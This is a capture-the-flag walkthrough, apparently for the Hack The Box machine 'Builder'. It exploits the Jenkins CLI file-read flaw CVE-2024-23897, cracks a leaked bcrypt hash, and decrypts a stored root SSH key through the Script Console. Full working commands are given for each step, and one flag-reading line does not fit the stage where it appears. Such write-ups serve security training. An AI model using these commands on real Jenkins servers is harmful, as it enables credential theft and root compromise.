Post

Builder

Jenkins 2.441 was vulnerable to CVE-2024-23897, an unauthenticated arbitrary file read via the CLI's @filename argument expansion, which exposed the user flag and jennifer's bcrypt hash directly, then cracking the hash to 'princess' gave Script Console access to decrypt a stored root SSH key.

Builder

Overview

Builder is a medium-difficulty Linux box running Jenkins 2.441 inside a Docker container. The attack chain starts with CVE-2024-23897, an unauthenticated path traversal and improper access control flaw in the Jenkins CLI that lets any anonymous user read arbitrary files by prefixing a filename with @. File-reading users.xml and jennifer’s config.xml exposed a bcrypt hash that cracked to princess with rockyou, granting a Jenkins login. Jennifer held the Administer permission, so the Script Console was accessible — a stored SSH credential for root had its encrypted blob visible in the credential update page HTML, and posting hudson.util.Secret.decrypt(...) to /scriptText returned the plaintext private key used to SSH in as root.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High CVE and Real-Life scores reflect that CVE-2024-23897 is a fully weaponized, real-world Jenkins vulnerability that was actively exploited in the wild at the time of box release, with no custom exploit code required.

Recon

PortServiceNotes
22SSH (OpenSSH)standard SSH, used only at the root stage
8080HTTP (Jenkins 2.441)Jenkins web UI and CLI endpoint; X-Jenkins: 2.441 header confirms version
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,8080 -sC -sV -Pn 10.10.10.X

The X-Jenkins: 2.441 header from port 8080 is the key finding — 2.441 is unpatched for CVE-2024-23897, which was disclosed in January 2024 and had public PoC tooling available immediately.

Enumeration

Browsing to port 8080 shows a Jenkins login page. The anonymous read access setting is enabled (not locked down), which means unauthenticated users can invoke Jenkins CLI commands — a prerequisite for CVE-2024-23897.

Download the CLI jar unauthenticated:

1
wget http://10.10.10.X:8080/jnlpJars/jenkins-cli.jar -O /tmp/jenkins-cli.jar

Confirm the version and test unauthenticated CLI access:

1
curl -sk http://10.10.10.X:8080/ -I | grep X-Jenkins

The help CLI command echoes its argument token back in an ERROR line. With the @filename prefix the argument is substituted with the file’s contents before the error fires — leaking the first two lines of any readable file:

1
2
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
  help "@/proc/self/environ" 2>&1 | grep ERROR

Output reveals HOME=/var/jenkins_home and the Docker container hostname, confirming we are inside a container and establishing the Jenkins home path.

The connect-node command leaks every line (each line appears as “No such agent <line> exists”), giving a complete file read:

1
2
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
  connect-node "@/var/jenkins_home/users/users.xml" 2>&1 | grep -v "^May\|^INFO"

Output: user directory jennifer_12108429903186576833 is revealed.

Foothold

Read jennifer’s config.xml to extract her bcrypt password hash:

1
2
3
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
  connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml" 2>&1 \
  | grep -i passwordHash

The hash appears with a #jbcrypt: prefix — strip that prefix and save the bcrypt hash, then crack it with john:

1
2
echo '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > /tmp/jk_hash.txt
john /tmp/jk_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result: princess. The weak password cracked almost instantly against rockyou.

User flag

CVE-2024-23897 allows reading arbitrary files before any authentication check runs. The user flag lives inside the Jenkins home directory inside the container:

1
2
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
  help "@/var/jenkins_home/user.txt" 2>&1 | grep ERROR
1
cat /home/jennifer/user.txt   # HTB{...}

The flag is leaked directly from the Jenkins container filesystem via the unauthenticated file read — jennifer’s account is confirmed and the user flag is ours.

Privilege Escalation

With jennifer’s credentials (jennifer:princess), log in to Jenkins and verify Script Console access:

1
curl -su 'jennifer:princess' http://10.10.10.X:8080/script -o /dev/null -w "%{http_code}"

Check stored credentials via the API:

1
2
3
curl -su 'jennifer:princess' \
  'http://10.10.10.X:8080/credentials/store/system/domain/_/api/json?depth=2' \
  | python3 -m json.tool

The output shows a credential named root of type “SSH Username with private key”. Visit the update page and pull the encrypted blob from the HTML source:

1
2
3
curl -su 'jennifer:princess' \
  'http://10.10.10.X:8080/credentials/store/system/domain/_/credential/1/update' \
  | grep -o '{AQAAABAAAAo[^"]*}'

Get a crumb token for the POST (Jenkins CSRF protection), then post to the Script Console to decrypt the stored credential:

1
2
3
4
5
6
7
8
CRUMB=$(curl -sc /tmp/jk_c.txt -su 'jennifer:princess' \
  'http://10.10.10.X:8080/crumbIssuer/api/json' | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['crumb'])")

curl -sb /tmp/jk_c.txt -su 'jennifer:princess' \
  -H "Jenkins-Crumb: $CRUMB" \
  --data-urlencode "script=println(hudson.util.Secret.decrypt('{AQAAABAAAAo...FULL_ENCRYPTED_KEY...}'))" \
  'http://10.10.10.X:8080/scriptText'

The Script Console calls hudson.util.Secret.decrypt() using the locally available Jenkins master key and returns the plaintext RSA private key. Save it and SSH in as root:

1
2
chmod 600 /tmp/builder_root_key
ssh -i /tmp/builder_root_key [email protected]

Root flag

1
cat /root/root.txt   # HTB{...}

Root shell obtained via the decrypted SSH private key — full compromise of the host machine confirmed.

This post is licensed under CC BY 4.0 by the author.